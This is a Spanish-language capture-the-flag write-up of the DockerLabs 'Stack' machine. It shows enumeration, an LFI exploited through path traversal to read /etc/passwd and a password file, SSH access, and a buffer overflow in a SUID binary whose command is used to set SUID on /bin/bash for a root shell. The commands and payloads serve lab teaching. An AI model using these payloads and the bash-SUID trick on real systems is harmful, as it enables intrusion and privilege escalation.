Post

DockerLabs - Stack

DockerLabs - Stack

nmap

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ nmap -sCV -p22,80 172.17.0.2                               
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 85:7f:49:c5:89:f6:ce:d2:b3:92:f1:40:de:e0:56:c4 (ECDSA)
|_  256 6d:ed:59:b8:d8:cc:50:54:9d:37:65:58:f5:3f:52:e3 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Web en producci\xC3\xB3n
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

análisis

Comenzamos revisando el puerto 80 de la máquina, donde a primera vista no vemos nada destacable:

Desktop View

Pero al ir al código fuente de la página, encontramos un comentario bastante interesante, el cual indica la ubicación de un fichero que contiene una contraseña:

Desktop View

Sin embargo, debido a que no tenemos todavía acceso a la máquina, no podemos verlo, así que seguimos revisando.

Dejaremos corriendo en segundo plano un escaneo de recursos del servidor con gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ gobuster dir -u "http://172.17.0.2/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 417]
/javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/note.txt             (Status: 200) [Size: 110]
/file.php             (Status: 200) [Size: 0]

acceso inicial (bob)

Uno de los recursos que encontramos es una nota, la cual indica que existe una vulnerabilidad LFI (Local File Inclusion) en un fichero PHP:

Desktop View

Dado que el otro fichero que hemos encontrado es /file.php, probamos a ver si encontramos cual es el parámetro que acepta este script con el cual tal vez podemos explotar el LFI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ wfuzz -c --hh=0 -t 200 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://172.17.0.2/file.php?FUZZ=....//....//....//....//....//etc/passwd"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz´s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/file.php?FUZZ=....//....//....//....//....//etc/passwd
Total requests: 6453

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                          
=====================================================================

000002206:   200        20 L     22 W       922 Ch      "file"

Viendo que es posible explotar un LFI usando el script file.php, procedemos a leer el contenido del fichero que antes nos indicaban en un comentario en la pantalla inicial:

Desktop View

Probamos a conectarnos como el usuario bob con la contraseña que hemos encontrado, y vemos que accedemos correctamente:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ ssh bob@172.17.0.2
bob@172.17.0.2`s password:
bob@7d6ac627e4c6:~$ whoami
bob
bob@7d6ac627e4c6:~$ hostname
7d6ac627e4c6

Listamos los usuarios del sistema que tengan asignada una consola:

1
2
3
bob@7d6ac627e4c6:~$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000::/home/bob:/bin/bash

escalada de privilegios (root)

En la carpeta /opt encontramos un binario cuyos permisos son SUID (permite ejecutar el binario con los permisos del propietario, que en este caso es root)

1
2
3
4
5
bob@7d6ac627e4c6:/home$ ls -la /opt
total 24
drwxr-xr-x 1 root root  4096 Dec 19  2024 .
drwxr-xr-x 1 root root  4096 XXX  X 21:16 ..
-rwsr-xr-x 1 root root 16328 Dec 19  2024 command_exec

Al ejecutarlo, vemos que nos pide una contraseña para continuar:

1
2
3
4
bob@7d6ac627e4c6:/home$ /opt/command_exec   
Escribe la contraseña: 
Estás en modo usuario (key = 1234)
key debe valer 0xdead para entrar al modo administrador

Si intentamos indicar un gran número de caracteres, vemos que llegamos a corromper el programa:

1
2
3
bob@7d6ac627e4c6:/home$ /opt/command_exec
Escribe la contraseña: <5000 A`s>
Segmentation fault

Confirmamos en este punto que estamos tratando con una vulnerabilidad Buffer Overflow (vulnerabilidad que consiste en sobrescribir registros internos de los programas, permitiendo modificar su comportamiento).

Ahora indicaremos una cadena de caracteres un poco más corta, y veremos que ahora seguimos corrompiendo el programa, pero en el valor del parámetro key nos indica 4141414, lo que significa que estamos sobrescribiendo el valor de dicha variable, ya que en hexadecimal eso es igual a AAAA, o el valor del registro EIP (puntero de instrucción extendido):

1
2
3
4
5
bob@7d6ac627e4c6:/home$ /opt/command_exec      
Escribe la contraseña: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Estás en modo usuario (key = 41414141)
key debe valer 0xdead para entrar al modo administrador
Segmentation fault

Para poder averiguar cual es el junk (cadena inicial que debemos indicar hasta antes de sobrescribir el EIP), usaremos un patrón generado por un script de Metasploit llamado pattern_create.rb:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Volvemos a ejecutar el binario, e indicamos la cadena que nos ha devuelto el script:

1
2
3
4
5
bob@7d6ac627e4c6:/home$ /opt/command_exec
Escribe la contraseña: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Estás en modo usuario (key = 63413563)
key debe valer 0xdead para entrar al modo administrador
Segmentation fault

Teniendo ya el valor que está guardándose en el EIP, le pasaremos este valor al script pattern_offset.rb, que nos indicará cual es el offset o junk que debemos indicar en nuestro payload para cambiar el valor del parámetro key:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76

Ahora sabemos que debemos indicar 76 caracteres antes de indicar 0xdead, por lo que creamos un comando en Python que nos devuelva el payload completo:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Stack]
└─$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76+b"\xad\xde\x00\x00")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��

Lo que nos devuelve el comando que ejecutamos con Python no se interpreta correctamente por consola. Sin embargo, se lo podemos pasar directamente al binario sin tener que imprimirlo por pantalla de la siguiente manera:

1
2
3
bob@7d6ac627e4c6:/home$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"\xad\xde\x00\x00\n")' | /opt/command_exec
Escribe la contraseña: Estás en modo administrador (key = dead)
Escribe un comando: 

Comprobamos que la explotación del programa se está realizando correctamente. Posteriormente nos piden que indiquemos un comando que queramos ejecutar como un usuario privilegiado, y para que nos lo ejecute, se lo indicaremos de la siguiente manera:

1
2
3
bob@7d6ac627e4c6:/home$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"\xad\xde\x00\x00\n" + b"whoami")' | /opt/command_exec
Escribe la contraseña: Estás en modo administrador (key = dead)
Escribe un comando: root

Ya que hemos conseguido ejecución de comandos como el usuario root, podemos obtener una consola de diferentes maneras, pero en este caso optaremos por cambiar los permisos del binario /bin/bash para que sea SUID (poder ejecutar el binario con los permisos del propietario), el cual de primeras vemos que no lo tiene asignado:

1
2
bob@7d6ac627e4c6:/home$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1265648 Mar 29  2024 /bin/bash

Ejecutamos el comando que modifica los permisos del binario /bin/bash:

1
2
bob@7d6ac627e4c6:/home$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"\xad\xde\x00\x00\n" + b"chmod u+s /bin/bash")' | /opt/command_exec
Escribe la contraseña: Estás en modo administrador (key = dead)

Si volvemos a revisar sus permisos, veremos que se han modificado correctamente:

1
2
bob@7d6ac627e4c6:/home$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Mar 29  2024 /bin/bash

Por lo que ahora podemos invocar una consola privilegiada:

1
2
3
bob@7d6ac627e4c6:/home$ bash -p
bash-5.2# whoami
root

Y así, habremos completado la máquina Stack!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.